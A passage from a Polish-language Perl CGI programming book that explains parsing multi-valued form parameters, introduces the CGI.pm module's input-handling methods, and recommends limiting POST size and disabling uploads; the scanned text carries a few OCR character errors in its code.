przeglądarki podczas wysyłania żądania. Następnie poszczególne pary nazwa-wartość po kolei rozdzielamy w pętli na zmienne $nazwa i $wartosc. Możliwe jest przekazanie parametru bez znaku równości lub bez wartości. Dzieje się tak w wypadku formularzy ze znacznikiem <ISINDEX>, który praktycznie nie jest już stosowany, lub w wypadku URL-i konstruowanych ręcznie. Przypisując pusty łańcuch zmiennej $wartosc, unikamy ostrzeżeń sygnalizowanych przez Perl. Każdy plus zastępujemy spacją. Następnie dekodujemy znaki zakodowane na sposób „URL-owy", zastępując ciągi znaków złożone ze znaku % i dwóch cyfr szesnastko-wych, korzystając z wyrażenia omówionego w rozdziale 2. Potem nazwę i wartość dodajemy do tablicy asocjacyjnej, którą zwracamy na końcu procedury. Można zauważyć, że w naszej procedurze tkwi pewien problem, a dotyczy przypisania w tablicy asocjacyjnej, znajdującego się pod koniec procedury: $dane_z_formularza{$nazwa} = $wartosc; Jeżeli w formularzu występują elementy o tej samej nazwie lub lista, w której można zaznaczyć kilka wartości naraz, to może się zdarzyć, że otrzymamy kilka wartości z jedną i tą samą nazwą. Na przykład, gdyby użytkownik na liście „liczby" zaznaczył pozycje „Jeden" i „Dwa", to łańcuch zapytania wyglądałby następująco: liczby=Jeden&liczby=Dwa W wyniku przedstawionego wcześniej przypisania w tablicy asocjacyjnej zostałaby zapisana tylko ostatnia wartość. Istnieje kilka różnych rozwiązań tego problemu, ale żaden nie jest idealny. Najpierw moglibyśmy przekształcić wartość w tablicy asocjacyjnej w referencję do zwykłej tablicy mieszczącej kilka wartości, w miejsce dotychczasowego przypisania wprowadzając kilka następujących wierszy kodu: if ( exists $dane_z_formularza{$nazwa} ) { if ( ref $dane_z_formularza{$nazwa} ) { push @{ $dane_z_formularza{$nazwa} }, $wartosc; } else { $dane_z_formularza{$nazwa} = [ $dane_z_formularza{ $nazwa} , $wartosc ]; } } else { $dane_z_formularza{$nazwa) = $wartosc; } Ten kod jest trochę skomplikowany, lecz ponieważ ukryty jest w procedurze, tak naprawdę nie ma to znaczenia. Prawdziwy problem polega tu na tym, że skrypty CGI korzystające z tej procedury muszą wiedzieć, które elementy mogą mieć wielokrotne wartości. Dlatego muszą pod tym kątem sprawdzać każdy z nich, gdyż w przeciwnym razie ryzykujemy, że na przykład zapis ,,ARRAY(0xl9abcde)", będący w Perlu skalarną reprezentacją referencji do tablicy, zostanie uznany za wprowadzony przez użytkownika. Kod pozwalający sięgnąć do wartości elementu „liczby" mógłby wyglądać następująco: my %zapytanie = rozbierz_dane_z_formularza() or error ( "Niepoprawne żądanie" ); my @liczby = ref( $zapytanie{liczby} ) ? @{$zapytanie{liczby} } : $zapytanie{liczby}; Ten kod jest niezgrabny. Inne podejście polega na umieszczeniu w tablicy wielokrotnych wartości jako pojedynczego łańcucha tekstowego z separatorami, którymi mogą być tabulacje lub „\0". Kod w tym wypadku jest łatwiejszy do napisania, a w procedurze wyglądałby następująco: if ( exists $dane_z_formularza{name} ) { $dane_z_formularza{name} .= "\t$wartosc";
Programowanie CGI w Perlu
42
} else { $dane_z_formularza{name} = $wartosc; } Łatwiej jest również odczytać taki łańcuch w skrypcie CGI: my %zapytanie = rozbierz_dane_z_formularza() or error ( "Niepoprawne żądanie" ); my @liczby = split "\t", $zapytanie{liczby}; Mimo wszystko nadal istnieje ryzyko, że dane będą wadliwe, jeśli skrypt CGI nie jest przygotowany na kilka wartości o tej samej nazwie. Na szczęście jest lepsze rozwiązanie. Zamiast samodzielnie pisać procedurę wczytywania danych, możemy skorzystać z modułu CGI.pm, który zapewnia skuteczne środki zaradcze, a ponadto udostępnia wiele innych użytecznych funkcji. Moduł CGI.pm omawiamy w następnym rozdziale.
Rozdział 5 CGI.pm Moduł CGI.pm stał się standardowym narzędziem do tworzenia skryptów CGI w języku Perl. Oferuje prosty interfejs radający się do większości najczęstszych zadań CGI. Oprócz tego, że ułatwia rozbiór parametrów wejściowych, zapewnia także przejrzysty interfejs do twoi żenią nagłówków oraz niezwykle efektywny, a do tego elegancki sposób generowania kodu HTML za pomocą skryptów. Większość podstaw dotyczących CGI.pm przedstawiamy tutaj. Mimo to do modułu tego jeszcze wrócimy, aby przyjrzeć się innym jego właściwościom, gdy będziemy się zajmować pozostałymi elementami programowania w CGI. Moduł CGI.pm zapewnia prosty sposób odczytywania i zapisywania ciasteczek (ang. cookies), lecz z odpowiednim omówieniem poczekamy, aż w naszych rozważaniach dotrzemy do zagadnienia będącego tematem rozdziału 11, „Utrzymywanie stanu". Jeśli lektura niniejszego rozdziału zachęci do zdobycia dalszych informacji, warto wiedzieć, że autor CGI.pm, Lincoln Stein, napisał książkę w całości poświęconą temu modułowi: The Official Guide to Programming with CGI.pm (wyd. John Wiley & Sons). Ponieważ CGI.pm oferuje bardzo wiele metod, nasze omówienie tego modułu podzieliliśmy na trzy części dotyczące: obsługi danych wejściowych, generowania danych wyjściowych oraz obsługi błędów. Przyjrzymy się sposobom generowania danych wyjściowych zarówno przy użyciu CGI.pm, jak i bez niego. Oto struktura bieżącego rozdziału: • Obsługa danych wejściowych z wykorzystaniem CGI.pm. • Informacje o środowisku. CGI.pm zawiera metody, które dostarczają informacji podobnych, choć pod pewnymi względami różnych od informacji dostępnych w %ENV. • Dane wprowadzone do formularza. CGI.pm automatycznie dokonuje rozbioru parametrów przekazywanych za pośrednictwem formularzy HTML. Oferuje też prostą metodę pozwalającą sięgnąć do parametrów. • Obsługa plików przysyłanych do serwera. Dzięki CGI.pm skrypty CGI mogą w sposób łatwy i przezroczysty obsługiwać pliki przysyłane do serwera. • Generowanie danych wyjściowych z wykorzystaniem CGI.pm. • Generowanie nagłówków. W CGI.pm zawarte są metody pomocne przy generowaniu wyjściowych nagłówków HTTP za pomocą skryptów CGI. • Generowanie HTML-a. Dzięki CGI.pm, wywołując odpowiednie metody, można generować kompletne dokumenty HTML. • Alternatywne sposoby generowania danych wyjściowych. • HTML ze znakami cudzysłowu i dokumenty „tutejsze". Porównamy alternatywne strategie generowania kodu HTML. • Obsługa błędów. • Przechwytywanie funkcji die. Standardowy sposób obsługi błędów w Perlu, poprzez funkcję die, nie działa idealnie w wypadku CGI. • CGI::Carp. Moduł CGI::Carp, rozprowadzany wraz z CGI.pm, ułatwia przechwytywanie funkcji die oraz innych sytuacji powodujących błędy, mogących doprowadzić do wyłączenia skryptu. • Rozwiązania własne. Aby uzyskać większy wpływ na sposób informowania użytkowników o błędach, można utworzyć własną procedurę lub moduł. Na początek przeprowadźmy ogólny przegląd modułu CGI.pm.
Przegląd CGI.pm wymaga języka Perl w wersji 5.003_07 lub nowszej, a począwszy od wersji 5.004 dołączany jest do standardowego pakietu Perla. Posiadaną wersję można sprawdzić za pomocą opcji -v: $ perl -v This is perl, version 5.005 Copyright 1987-1997, Larry Wall Perl may be copied only under the terms of either the Artistic License or the GNU General Public License, which may be found in the Perl 5.0 source kit. Czy moduł CGI.pm jest zainstalowany oraz jaka jest jego wersja, można sprawdzić następująco: $ perl -MCGI -e 'print "CGI.pm wersja $CGI::VERSION\n";' CGI.pm wersja 2.56 Jeśli pojawi się tekst podobny do poniższego, będzie to oznaczać, że moduł CGI.pm nie jest zainstalowany. Trzeba się wtedy o niego postarać i zainstalować go. W dodatku B, „Moduły Perla", objaśniamy, jak to zrobić.
Programowanie CGI w Perlu
43
Can't locate CGI.pm in @INC (@INC contains: /usr/lib/per!5/i386-linux/5.005 /usr/ Iib/perl5 /usr/lib/per!5/site_perl/i386-linux /usr/lib/per!5/site_perl .). BEGIN failed--compilation aborted. Regularnie ukazują się nowe wersje CGI.pm, przy czym głównie korygowane są w nich usterki wydań 6 wcześniejszych. Dlatego zalecamy instalowanie ostatniej wersji oraz śledzenie nowych wydań (historię wersji można znaleźć na końcu pliku cgi_docs.html rozprowadzanego z CGI.pm). W niniejszym rozdziale omawiamy elementy obecne w wersji 2.47. Uniemożliwianie ataków dokonywanych poprzez usługi Na samym początku powinniśmy wprowadzić drobną zmianę do posiadanej kopii CGI.pm. CGI.pm obsługuje pliki przysyłane do serwera, a zawartość przesyłek automatycznie zapisuje w tymczasowych plikach. Jest to bardzo wygodna właściwość i później ją jeszcze omówimy. W CGI.pm obsługa ta jest domyślnie włączona, a przy tym nie są nakładane jakiekolwiek ograniczenia co do akceptowanego rozmiaru plików. Może się wtedy zdarzyć, że ktoś przyśle do serwera wiele dużych plików i zapełni dysk. Mówiąc wprost, ogromnej większości skryptów CGI przysyłanie plików nie dotyczy. Dlatego generalnie powinno się tę funkcję wyłączyć, włączyć zaś tylko w tych skryptach, w których będzie wykorzystywana. Można także ustanowić limit rozmiaru żądań POST, obejmujący nie tylko standardowe formularze wysyłane przy użyciu metody POST, lecz również pliki przysyłane do serwera. Aby wprowadzić odpowiednie zmiany, w bibliotekach Perla należy odnaleźć CGI.pm, a następnie poszukać tekstu, który wygląda podobnie do poniższego: # Set this to a positive value to limit the size of a POSTing to a certain number of bytes: $POST_MAX = -1; # Change this to l to disable uploads entirely: $DISABLE_UPLOADS = O Aby wyłączyć obsługę plików przysyłanych do serwera, zmiennej $ DISABLE_UPLOADS należy przypisać 1. Ponadto zmienną $POST_MAX można ustawić na pewną rozsądną górną granicę, na przykład 100 KB. Żądania POST, które nie niosą ze sobą pliku do serwera, przetwarzane są w pamięci, więc ograniczenie rozmiaru żądań POST zapobiega sytuacji, w której ktoś, wysyłając wiele dużych żądań POST, szybko by zapełnił całą dostępną pamięć serwera. Oto powyższy fragment po wprowadzeniu zmian: # Set this to a positive value to limit the size of a POSTing to a certain number of bytes: $POST_MAX = 102_400; #100 KB # Change this to l to disable uploads entirely: $DISABLE_UPLOADS = 1; Jeżeli chcielibyśmy potem włączyć obsługę przysyłanych plików oraz (lub) zwiększyć dopuszczalny rozmiar żądań POST, możemy w skrypcie tymczasowo wprowadzić ustawienia nadrzędne, określając zmienne $CGI::DISABLE_UPLOADS i $CGI::POST_MAX po zainicjowaniu (instrukcją use) modułu CGI.pm, lecz przed utworzeniem obiektu CGI.pm. Odbieraniu plików przysyłanych do serwera przyjrzymy się w dalszej części rozdziału. Do modyfikacji pliku CGI.pm może być potrzebne specjalne uprawnienie. Jeżeli administrator systemu z jakiegoś powodu nie wprowadzi odpowiednich zmian, my sami, w ramach skryptu, będziemy musieli wyłączyć obsługę przysyłanych plików i ograniczyć żądania POST. Początek skryptów powinien być następujący: #!/usr/bin/perl -wT use strict; use CGI; $CGI::DISABLE_UPLOADS = l $CGI::POST_MAX = 102_400; #100 KB my $q = new CGI; ... We wszystkich przykładach przyjmiemy założenie, że odpowiednie poprawki zostały wprowadzone w module, i powyższy zapis będziemy pomijać. Zsyp CGI.pm to duży moduł. Funkcje zawarte w module umożliwiają dostęp do zmiennych środowiska CGI oraz drukowanie nagłówków wychodzących. CGI.pm automatycznie interpretuje dane z formularzy wysyłane za pośrednictwem żądań POST i GET oraz obsługuje pliki przysyłane do serwera z kodowaniem typu multipart/formdata. Dostarcza wielu funkcji użytkowych przeznaczonych do wykonywania częstych zadań związanych z CGI, a także udostępnia prosty interfejs do generowania HTML-a. Interfejs ten nie eliminuje potrzeby znajomości HTMLa, lecz sprawia, że włączanie kodu HTML do skryptów Perla jest naturalniejsze i łatwiejsze do weryfikacji. Ponieważ moduł CGI.pm jest zbyt obszerny, wielu ludzi uważa, że jest rozbudowany, i narzeka, że przez to marnuje się pamięć. Jednak w rzeczywistości w CGI.pm zastosowano wiele oryginalnych sposobów zwiększających efektywność tego modułu, w tym osobną implementację modułu SelfLoader. Należy przez to rozumieć, że do pamięci ładuje się tylko ten kod, który jest potrzebny. Jeśli CGI.pm używany jest do rozbioru
6 • Niekoniecznie chodzi o usterki w CGI.pm, lecz o zachowanie na bieżąco zgodności z nowymi serwerami i przeglądarkami, które czasami zawierają kod wadliwy lub przynajmniej niezgodny ze standardem.
Programowanie CGI w Perlu
44
danych wejściowych, a nie jest używany do tworzenia HTML-a, to CGI.pm nie załaduje kodu do tworzenia HTMLa. Napisano też kilka alternatywnych modułów CGI o nieco lżejszej kategorii wagowej. Jedno z takich alternatywnych rozwiązań zostało zainicjowane przez Davida Ja-mesa; nawiązał on współpracę z Lincolnem Steinem, a jej rezultatem stała się nowa, ulepszona wersja CGI.pm, która jest mniejsza, szybsza i w większym stopniu modularna niż oryginał. Powinna być dostępna jako CGI.pm 3.0, już w chwili dotarcia tej książki do księgarń. Składnia standardowa i obiektowa CGI.pm, tak jak Perl, oprócz ogromnych możliwości, cechuje jeszcze elastyczność. Można z niego korzystać dwojako: za pośrednictwem interfejsu standardowego oraz interfejsu obiektowego. Wewnętrznie moduł jest w pełni obiektowy. Nie wszyscy programiści w języku Perl swobodnie posługują się zapisem obiektowym, i tacy zapewne wolą, aby CGI.pm umożliwiał bezpośrednie wywoływanie procedur. Oto przykład. Zapis obiektowy wygląda następująco: use strict; use CGI; my $q = new CGI; my $nazwa = $q->param( "nazwa" ); print $q->header( "text/html" ), $q->start_html( "Witamy" ), $q->p( "Cześć, $nazwa!" ), $q->end_html; Natomiast analogiczny zapis standardowy wygląda następująco: use strict; use CGI qw( : standard ); my $nazwa = param( "nazwa" ); print header( "text/html" ), start_html( "Witamy" ), p( "Cześć, $nazwa!" ), end_html; Nie zajmiemy się teraz szczegółową analizą kodu; całość omówimy w dalszej części rozdziału. Winniśmy jednak zwrócić uwagę na różnice w składni. Pierwszy skrypt tworzy obiekt CGI.pm i umieszcza go w zmiennej $q ($q to skrót od ang. query, czyli zapytanie lub kwerenda; ta konwencja jest powszechnie stosowana w odniesieniu do obiektów CGI.pm, przy czym $ cgi też jest czasami spotykane). Dlatego wszystkie funkcje CGI.pm poprzedzane są ciągiem znaków $q->. Natomiast drugi skrypt nakazuje, aby z modułu CGI.pm zostały wyeksportowane funkcje standardowe, które potem wywoływane są bezpośrednio. CGI.pm udostępnia pewną liczbę pre-definiowanych grup funkcji, takich jak : standard, które można wyeksportować do skryptu CGI. Standardowa składnia CGI.pm z pewnością jest mniej zagmatwana. Nie ma tu żadnych prefiksów $q->. Pominąwszy jednak estetykę, za stosowaniem składni obiektowej z modułem CGI.pm przemawiają mocne argumenty. Eksportowanie funkcji kosztuje. Perl wydziela dla różnych fragmentów kodu osobne przestrzenie nazw, które nazywane są pakietami. Większość modułów, w tym CGI.pm, załadowuje się do osobnego pakietu. Dlatego funkcje i zmienne widziane przez moduł są odróżniane od funkcji i zmiennych widocznych w skryptach. Jest to słuszne podejście, ponieważ zapobiega kolizji między zmiennymi i funkcjami o tych samych nazwach w różnych pakietach. Gdy z modułu eksportowane są symbole (zmiennych bądź funkcji), Perl musi utworzyć i przechować alias (nazwę alternatywną) każdego z nich w przestrzeni nazw programu, czyli przestrzeni głównej, min. Każdy taki alias wiąże część pamięci. Zajętość pamięci staje się krytyczna, gdy używane są skrypty CGI, korzystające z modułów FastCGI lub mod_perl. Składnia obiektowa pomaga również uniknąć ewentualnych kolizji, które mogłyby wystąpić, gdybyśmy utworzyli procedurę o nazwie identycznej z nazwą jednej z procedur wyeksportowanych z CGI.pm, Ponadto, z punktu widzenia pielęgnacji, wystarczy rzut oka na skrypt obiektowy, aby się zorientować, gdzie jest przechowywany kod funkcji header: jest to metoda obiektu CGI.pm, a więc musi się znajdować w module CGI.pm (lub w jednym z modułów z nim skojarzonych). Zorientowanie się, gdzie trzeba szukać funkcji nagłówka, w drugim przykładzie jest o wiele trudniejsze, zwłaszcza wtedy, gdy skrypt CGI rozrośnie się i skomplikuje. Niektórzy wolą unikać składni obiektowej, ponieważ sądzą, że spowalnia działanie. W Perlu metody zwykle są wolniejsze niż funkcje. Jednak konstrukcja modułu CGI.pm jest ściśle obiektowa, co oznacza, że w wypadku składni standardowej moduł musi jeszcze wykonać parę dodatkowych czynności, aby obsłużyć niewidoczny z zewnątrz obiekt. Dlatego przy składni obiektowej działanie CGI.pm nie jest ani trochę wolniejsze. W rzeczywistości jest nawet nieco szybsze. W większości przykładów będziemy się posługiwać składnią obiektową.
Obsługa danych wejściowych za pomocą CGI.pm Moduł CGI.pm służy przede wszystkim do realizacji dwóch osobnych zadań: odczytuje dane dostarczone przez użytkownika i dokonuje ich rozbioru; zapewnia wygodny sposób zwracania HTML-owych danych wyjściowych. Najpierw przyjrzymy się odbieraniu danych.
Programowanie CGI w Perlu
45
Informacje o środowisku CGI.pm udostępnia wiele metod uzyskiwania informacji o środowisku. Gdy użyjemy modułu CGI.pm, wszystkie standardowe zmienne środowiska CGI oczywiście pozostaną nadal dostępne w tablicy asocjacyjnej %ENV, lecz CGI.pm zapewnia do nich dostęp za pośrednictwem metod. Oferuje też kilka metod, które nie mają odpowiedników w zmiennych środowiska. Tabela 5.1 przedstawia funkcje modułu CGI.pm i odpowiadające im standardowe zmienne środowiska CGI. Tabela 5.1. Metody modułu Metoda modułu CGI.pm CGI.pm i zmienne środowiska CGI Zmienna środowiska CGI auth_type AUTH_TYPE Brak CONTENT_LENGTH content_type CONTENT_TYPE Brak DOCUMENT_ROOT Brak GATEWAY_INTERFACE path_info PATH_INFO path_translated PATH_TRANSLATED query_string QUERY_STRING remote_addr REMOTE_ADDR remote_host REMOTE_HOST remote_ident REMOTE_IDENT remote_user REMOTE_USER request_method REQUEST_METHOD script_name SCRIPT_NAME self_url Brak server_name SERVER_NAME server_port SERVER_PORT server_protocol SERVER_PROTOCOL server_software SERVER_SOFTWARE url Brak Accept HTTP_ACCEPT http("Accept-charset") HTTP_ACCEPT_CHARSET http("Accept-encoding") HTTP_ACCEPT_ENCODING http("Accept-language") HTTP_ACCEPT_LANGUAGE raw_cookie HTTP_COOKIE http("From") HTTP_FROM virtual_host HTTP_HOST referer HTTP_REFERER user_agent HTTP_USER_AGENT https HTTPS https("Cipher") HTTPS_CIPHER https("Keysize") HTTPS_KEYSIZE https("SecretKeySize") HTTPS SECRETKEYSIZE Większość metod modułu CGI.pm nie ma argumentów i zwraca tę samą wartość, co odpowiednia zmienna środowiska. Na przykład, aby uzyskać przekazaną do skryptu CGI dodatkową informację o ścieżce, możemy skorzystać z następującej metody: my $sciezka = $q->path_info; Otrzymamy tę samą informację, którą moglibyśmy wydobyć także następująco: my $sciezka = $ENV{PATH_INFO); Niemniej jednak jest kilka metod działających inaczej lub przynajmniej wartych szczególnej uwagi. A zatem przyjrzyjmy się im. Accept Ogólna zasada jest taka, że jeśli metoda modułu CGI.pm ma taką samą nazwę, jak wbudowane słowo kluczowe lub funkcja języka Perl (np. accept lub ir), to jej pierwsza litera zamieniana jest na wielką. Nie byłoby kolizji, gdyby dostęp do CGI.pm odbywał się tylko przy użyciu składni obiektowej. Kolizja może jednak zaistnieć przy stosowaniu składni standardowej. Metoda accept początkowo była pisana małą literą, lecz w wersji 2.44 modułu CGI została przemianowana na Accept. Nowa nazwa obowiązuje w obydwu składniach. Inaczej niż w wypadku innych metod, nie mających argumentów i jedynie zwracających wartość, do metody Accept można także przekazać typ treści, a wtedy metoda ta na podstawie nagłówka HTTP-Accept ustali, czy dany typ treści jest akceptowany, i zwróci odpowiednio wartość „prawda" lub „fałsz": if ( $q->Accept( "image/png" ) ) { ... Należy pamiętać, że większość współczesnych przeglądarek wysyła w nagłówku Accept zapis */*. Pasuje on do wszystkich typów, więc użycie metody Accept w przedstawiony wyżej sposób nie jest szczególnie pożyteczne. Gdy chodzi o nowe formaty plików, na przykład image/png, najlepiej pobrać wartości nagłówka HTTP i samodzielnie przeprowadzić sprawdzanie, ignorując znaki wieloznaczne (jest to niezbyt szczęśliwe rozwiązanie, ponieważ udaremnia cel, dla którego te znaki się podaje): my @accept = $q->Accept; if ( grep $_ eq "image/png", @accept ) {
Programowanie CGI w Perlu
46
... http Jeśli metoda http zostaje wywołana bez argumentów, zwraca nazwy dostępnych zmiennych środowiska zawierających prefiks HTTP_. Jeśli metoda http zostanie wywołana z argumentem, zwróci wartość konkretnej zmiennej środowiska z prefik-sem HTTP_. Przy przekazywaniu argumentu do http prefiks HTTP_ można pominąć, wielkość liter nie ma znaczenia, a łączniki i znaki podkreślenia są interpretowane jednakowo. Innymi słowy, jako argument można przekazać faktyczną nazwę pola nagłówka HTTP, nazwę zmiennej środowiska, a nawet jakąś nazwę będącą hybrydą dwóch wymienionych - http powinien sobie z nimi poradzić. Oto, jak można wyświetlić wszystkie zmienne środowiska z prefiksem HTTP_, odebrane przez skrypt CGI: #!/usr/bin/perl -wT use strict; use CGI; my $q = new CGI; print $q->header( "text/plain" ); print "Oto zmienne środowiska odebrane przez skrypt : \n\n" ; foreach ( $q->http ) { print "$_:\n"; print " ", $q->http( $_ ), "\n"; } https Metoda https w sytuacji, gdy przekazywany jest do niej parametr, działa analogicznie do metody http. Zwraca odpowiednią zmienną środowiska z prefiksem HTTPS_. Zmienne te ustanawiane są przez serwer Web tylko wtedy, gdy odbierane jest bezpieczne żądanie poprzez SSL. Gdy metoda https wywoływana jest bez argumentów, zwraca wartość zmiennej środowiska HTTPS, która wskazuje, czy połączenie jest bezpieczne (konkretna wartość zależy od serwera). query_string Metoda query_string nie działa tak, jak można by się spodziewać, ponieważ między nią a zmienną $ENV{QUERY_STRING} nie ma jednoznacznej odpowiedniości. W zmiennej $ENV{QUERY_STRING} przechowywany jest łańcuch zapytania pochodzący z URL-a, który wywołał dany skrypt. Natomiast metoda query_string jest dynamiczna. Jeśli zatem w skrypcie zostanie zmodyfikowany którykolwiek parametr zapytania (zob. „Modyfikowanie parametrów" w dalszej części rozdziału), to wprowadzone zmiany będą uwzględnione w wartości zwróconej przez query_string. Gdybyśmy chcieli się dowiedzieć, jak wygląda pierwotny łańcuch zapytania, powinniśmy skorzystać z $ENV {QUERY_STRING}. Ponadto, jeśli metodą żądania jest POST, query_string zwróci parametry, które zostały wysłane w treści tego żądania, zignoruje zaś wszelkie parametry przekazane do skryptu poprzez łańcuch zapytania. Oznacza to, że jeśli utworzymy formularz, którego wartości wysyłane są metodą POST pod URL, w którym także został zawarty łańcuch zapytania, nie będziemy w stanie sięgnąć do parametrów w tym łańcuchu za pomocą query_string, chyba że do modułu CGI.pm wprowadzimy drobną modyfikację tak, aby w wypadku żądań POST dołączane były parametry z oryginalnego łańcucha zapytania. Jak to zrobić, pokażemy w podrozdziale „Żądanie POST i łańcuch zapytania" w dalszej części rozdziału. self_url Ta metoda nie ma odpowiednika wśród standardowych zmiennych środowiska CGI, choć można by ją ręcznie skonstruować na podstawie innych zmiennych środowiska. Dostarcza URL, który może posłużyć do wywołania bieżącego skryptu CGI z tymi samymi parametrami. Informacja o ścieżce jest ustalana wewnętrznie, a łańcuch zapytania określany jest na podstawie metody query_string. Zauważ, że URL niekoniecznie jest taki sam, jak URL, który został użyty do wywołania skryptu CGI. Skrypt CGI może zostać wywołany na skutek wewnętrznego przekierowania dokonanego przez serwer Web. Ponadto, ponieważ wszystkie parametry przenoszone są do łańcucha zapytania, ten nowy URL konstruowany jest pod kątem żądania GET, choćby nawet bieżące żądanie było typu POST. url Metoda url działa podobnie do metody selfjurl poza tym, że zwraca URL do bieżącego skryptu bez jakichkolwiek parametrów, tj. bez informacji o ścieżce i z pustym łańcuchem zapytania. virtual_host Metoda virtual_host jest wygodna, ponieważ zwraca zmienną środowiska HTTP_HOST, jeśli jest ona określona, w przeciwnym zaś razie zmienną SER-VER_NAME. Należy pamiętać, że HTTP_HOST jest nazwą serwera Web taką, jakiej użyła przeglądarka. Faktycznie może być ona inna, jeśli kilka domen dzieli razem ten sam adres IP. Zmienna HTTP_HOST jest dostępna tylko wtedy, gdy przeglądarka poda nagłówek HTTP Host, który wprowadzono do protokołu HTTP 1.1. Sięganie do parametrów Metoda param jest chyba najbardziej użyteczna spośród dostępnych w CGI.pm. Za jej pomocą można sięgnąć do parametrów wysłanych do skryptu CGI niezależnie od tego, czy parametry nadeszły z żądaniem GET, czy POST. Jeśli metodę param wywołamy bez argumentów, zwróci listę wszystkich nazw parametrów odebranych przez skrypt. Jeśli użyjemy jednego argumentu, to zwróci ona wartość parametru o podanej nazwie. Jeśli do skryptu nie został przekazany parametr o nazwie podanej w argumencie, metoda param zwróci undef. Może się zdarzyć, że skrypt CGI otrzyma parametr z wielokrotnymi wartościami. Jest to możliwe, gdy utworzymy w formularzu dwa elementy o tej samej nazwie lub listę z możliwością zaznaczania kilku pozycji naraz.
Programowanie CGI w Perlu
47
Metoda param zwróci wtedy listę wszystkich wartości, jeśli zostanie wywołana w kontekście listy, natomiast tylko pierwszą wartość, gdy kontekst będzie skalarny. Być może brzmi to trochę skomplikowanie, lecz w praktyce nie powinno sprawiać trudności. Gdy zwrócimy się do param o jedną wartość, otrzymamy jedną wartość (gdyby nawet oprócz niej zostały wysłane jeszcze inne), a jeśli zwrócimy się o listę, zawsze otrzymamy listę (gdyby nawet lista zawierała tylko jeden element). Prosty przykład 5.1 prezentuje wszystkie parametry odebrane przez skrypt. Przykład 5.1. param_list.cgi #!/usr/bin/perl -wT use strict; use CGI; my $q = new CGI; print $q->header( "text/plain" ); print "Oto parametry odebrane przez skrypt:\n\n"; my( $nazwa, $wartosc ); foreach $nazwa ( $q->param ) { print "$nazwa:\n"; foreach $wartosc ( $q->param( $nazwa ) ) { print " $wartosc\n"; } } Jeśli wywołamy ten skrypt z wielokrotnymi parametrami, na przykład w następujący sposób: http: //localhost/cgi/param_list.cgi?kolor=czerwony&kolor=niebieski&odcien=ciemny to na wyjściu skryptu otrzymamy: Oto parametry odebrane przez skrypt: kolor: czerwony niebieski odcień: ciemny Modyfikowanie parametrów Moduł CGI.pm umożliwia także dodawanie, modyfikowanie i usuwanie wartości parametrów wewnątrz skryptu. Aby dodać lub zmodyfikować parametr, do metody param wystarczy przekazać jeden argument więcej. Użycie zamiast przecinka operatora => języka Perl poprawia czytelność skryptu i umożliwia pominięcie znaków cudzysłowu obejmujących nazwę parametru, jeśli tylko jest to wyraz (tzn. zawiera tylko litery, cyfry i znaki podkreślenia), który nie powoduje konfliktu z wbudowaną funkcją lub słowem kluczowym: $q->param( stanowisko => "Projektant sieci Web" ); Można też, przekazując dodatkowe argumenty, utworzyć parametr z wartościami wielokrotnymi: $q->param( hobby => "Turystyka rowerowa", "Windsurfing", "Muzyka" ); Aby usunąć parametr, należy użyć metody delete i podać nazwę parametru: $q->delete( "wiek" ) ; Wszystkie parametry można skasować jednocześnie, a służy do tego metoda dele-te_all: $q->delete_all; Można by się zastanawiać, po co nam możliwość modyfikowania parametrów, skoro zwykle określa je sam użytkownik. Otóż taka możliwość przydaje się w wielu sytuacjach, a zwłaszcza wtedy, gdy polom formularza przypisujemy wartości domyślne. Zajmiemy się tym w dalszej części rozdziału. Żądanie POST i łańcuch zapytania Metoda param automatycznie ustala, czy metodą żądania jest POST, czy GET. Jeśli jest to POST, to z STDIN odczytuje wszystkie wysłane parametry. Jeśli jest to GET, to odczytuje je z łańcucha zapytania. Z żądaniem POST możliwe jest wysłanie informacji pod URL, który zawiera już w sobie łańcuch zapytania. Otrzymujemy wtedy dwa źródła danych wejściowych, a ponieważ moduł CGI.pm ustala działanie, które ma podjąć, na podstawie metody żądania HTTP, dane z łańcucha zapytania nie będą dostępne poprzez param. W wypadku żądań POST, aby sięgnąć do jakichkolwiek parametrów przekazanych za pośrednictwem łańcucha zapytania, należy użyć osobnej metody url_pamm. Inna możliwość polega na wprowadzeniu do modułu CGI.pm takich zmian, które umożliwiłyby dostęp do wszystkich parametrów przy użyciu metody param. Moduł ten zawiera nawet komentarz, który nam w tym pomoże. Odpowiedni blok kodu znajduje się w procedurze init (jego położenie jest różne w zależności od wersji CGI.pm): if ($meth eq 'POST') { $self->read_from_client (\*STDIN, \$query_string, $content_length, 0) if $content_length > 0; # Są tacy, co zawsze chcą mieć jedno i drugie! # Wyłącz z komentarza ten wiersz, aby zawartość łańcucha zapytania DOŁĄCZYĆ do danych żądania POST # APPEND to the POST data. # $query_string .= (length ($query_string) ? '&' : '') . $ENV{ ' QUERY_STRING ' } if defined $ENV{ 'QUERY_STRING' }; last METHOD;
Programowanie CGI w Perlu
48
} Po usunięciu znaku # z początku wskazanego wiersza, będzie można razem używać danych pochodzących z żądania POST i łańcucha zapytania. Należy zwrócić uwagę, że wiersz, który trzeba wyłączyć z komentarza, jest zbyt długi, by zmieścić go na stronie w jednej linijce, więc został częściowo przeniesiony do nowej linii, jednak w samym CGI.pm jest to pojedynczy wiersz. Zapytania indeksowe Może się zdarzyć, że otrzymamy łańcuch zapytania z wyrazami, które nie będą tworzyć par nazwawartość. Zaniechany obecnie znacznik HTML <ISINDEX> tworzy pojedyncze pole tekstowe wraz z instrukcją, aby podać słowa kluczowe do wyszukania. Gdy użytkownik wpisze wyrazy do tego pola i naciśnie [Enter], powstanie nowe żądanie z tym samym URL-em, przy czym tekst wprowadzony przez użytkownika zostanie dodany jako łańcuch zapytania, w którym poszczególne słowa kluczowe będą oddzielone plusami (+), na przykład: http://www.localhost.com/cgi/lookup.cgi?cgi+perl Listę tak wprowadzonych słów kluczowych można pobrać, wywołując metodę parani z „keywords" jako nazwą parametru lub wywołując osobną metodę keywords: my @wyrazy = $q->keywords; # obydwa wiersze działają identycznie my @wyrazy = $q->param( "keywords" ) ; Obydwie metody zwracają indeksowe słowa kluczowe tylko wtedy, gdy moduł CGI.pm nie znajdzie parametrów w postaci par nazwa-wartość, więc mimo użycia w formularzu HTML elementu o nazwie „keywords", wszystko będzie działać poprawnie. Z drugiej strony, jeśli dane z formularza opartego na metodzie POST zechcemy wysyłać pod URL ze słowem kluczowym, CGI.pm nie będzie w stanie zwrócić słowa kluczowego. Aby je uzyskać, należy wtedy użyć zmiennej $ENV{QUERY STRING}. Użycie przycisków graficznych w funkcji przycisków zlecania wysyłki Niezależnie od tego, czy użyjemy znacznika <INPUT TYPE="IMAGE">, czy też <INPUT TYPE="SUBMIT">, formularz zostanie wysłany do skryptu CGI. Niemniej w wypadku 